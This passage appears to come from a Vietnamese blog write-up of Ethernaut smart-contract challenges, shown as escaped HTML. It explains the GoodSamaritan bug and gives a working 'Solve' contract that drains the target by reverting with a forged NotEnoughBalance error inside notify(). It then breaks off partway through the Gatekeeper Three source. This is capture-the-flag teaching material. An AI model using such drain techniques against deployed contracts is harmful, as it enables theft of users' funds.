&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Wallet&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// The owner of the wallet instance
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Coin&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">coin&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">error&lt;/span> &lt;span class="n">OnlyOwner&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">error&lt;/span> &lt;span class="n">NotEnoughBalance&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">onlyOwner&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">revert&lt;/span> &lt;span class="n">OnlyOwner&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">donate10&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">dest_&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="n">onlyOwner&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// check balance left
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">coin&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">balances&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">revert&lt;/span> &lt;span class="n">NotEnoughBalance&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// donate 10 coins
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">coin&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dest_&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">transferRemainder&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">dest_&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="n">onlyOwner&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// transfer balance left
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">coin&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">transfer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">dest_&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">coin&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">balances&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">setCoin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Coin&lt;/span> &lt;span class="n">coin_&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="n">onlyOwner&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">coin&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">coin_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">interface&lt;/span> &lt;span class="nc">INotifyable&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">notify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Trong bài này, ta cần rút hết coin của contract &lt;code>GoodSamaritan&lt;/code>.&lt;/p>
&lt;p>Ta chú ý đến hàm &lt;code>requestDonation&lt;/code>. Hàm này cho phép ta nhận 10 coin từ contract &lt;code>GoodSamaritan&lt;/code> nếu như không có lỗi gì, hoặc nhận toàn bộ coin nếu như khi gặp lỗi &lt;code>NotEnoughBalance()&lt;/code>. Ta sẽ đọc kĩ hơn cách mà method &lt;code>.donate10()&lt;/code> bị lỗi.&lt;/p>
&lt;p>Method &lt;code>.donate10()&lt;/code> trong contract &lt;code>Wallet&lt;/code> chuyển coin bằng method &lt;code>.transfer()&lt;/code> của contract &lt;code>Coin&lt;/code>. Đọc kĩ hàm &lt;code>.transfer()&lt;/code>, ta thấy được nếu &lt;code>msg.sender&lt;/code> là contract thì nó sẽ gọi hàm &lt;code>notify()&lt;/code> trong interface &lt;code>Inotifyable&lt;/code>.&lt;/p>
&lt;p>Nhận thấy interface &lt;code>Inotifyable&lt;/code> không có restrict là &lt;code>pure&lt;/code> hoặc &lt;code>view&lt;/code>, vì thế ta có thể chỉnh sửa hàm &lt;code>notify()&lt;/code> trong này. Ta sẽ muốn hàm này trả về lỗi &lt;code>NotEnoughBalance()&lt;/code> khi method &lt;code>.donate10()&lt;/code> được gọi và hoạt động bình thường với method &lt;code>transferRemainder()&lt;/code>. Do lỗi &lt;code>NotEnoughBalance()&lt;/code> là custom error nên ta có thể cài đặt được trong contract attack của ta.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="s">&amp;#34;contracts/goodSamaritan.sol&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">error&lt;/span> &lt;span class="n">NotEnoughBalance&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">Solve&lt;/span> &lt;span class="k">is&lt;/span> &lt;span class="n">INotifyable&lt;/span>&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">GoodSamaritan&lt;/span> &lt;span class="n">IGoodSamaritan&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="n">check&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getInstance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IGoodSamaritan&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GoodSamaritan&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">instanceAddress&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">notify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">amount&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">external&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">amount&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">revert&lt;/span> &lt;span class="n">NotEnoughBalance&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">attack&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IGoodSamaritan&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">requestDonation&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="gatekeeper-three">Gatekeeper Three&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-solidity" data-lang="solidity">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// SPDX-License-Identifier: MIT
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="k">pragma solidity&lt;/span> &lt;span class="o">^&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">SimpleTrick&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">GatekeeperThree&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">target&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">trick&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">uint256&lt;/span> &lt;span class="k">private&lt;/span> &lt;span class="n">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">constructor&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span> &lt;span class="k">payable&lt;/span> &lt;span class="n">_target&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">target&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">GatekeeperThree&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_target&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">checkPassword&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_password&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="k">returns&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">bool&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">_password&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">password&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">block&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">timestamp&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">trickInit&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">trick&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">trickyTrick&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">trick&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">target&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">getAllowance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">contract&lt;/span> &lt;span class="nc">GatekeeperThree&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">address&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">entrant&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">bool&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">allowEntrance&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SimpleTrick&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">trick&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">construct0r&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">owner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateOne&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">msg&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">sender&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="n">owner&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateTwo&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">allowEntrance&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">modifier&lt;/span> &lt;span class="nf">gateThree&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">balance&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">001&lt;/span> &lt;span class="kc">ether&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">owner&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nb">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="mi">001&lt;/span> &lt;span class="kc">ether&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">_&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">getAllowance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">uint256&lt;/span> &lt;span class="n">_password&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">trick&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">checkPassword&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">_password&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">allowEntrance&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">createTrick&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">trick&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="n">SimpleTrick&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">payable&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">address&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">this&lt;/span>&lt;span class="p">)));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">trick&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="n">trickInit&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">function&lt;/span> &lt;span class="nf">enter&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="k">public&lt;/span> &lt;span class="n">gateOne&lt;/span> &lt;span class="n">gateTwo&lt;/span> &lt;span class="n">gateThree&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">entrant&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">tx&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nb">origin&lt;/span>&lt;span class="p">;&lt;/span>
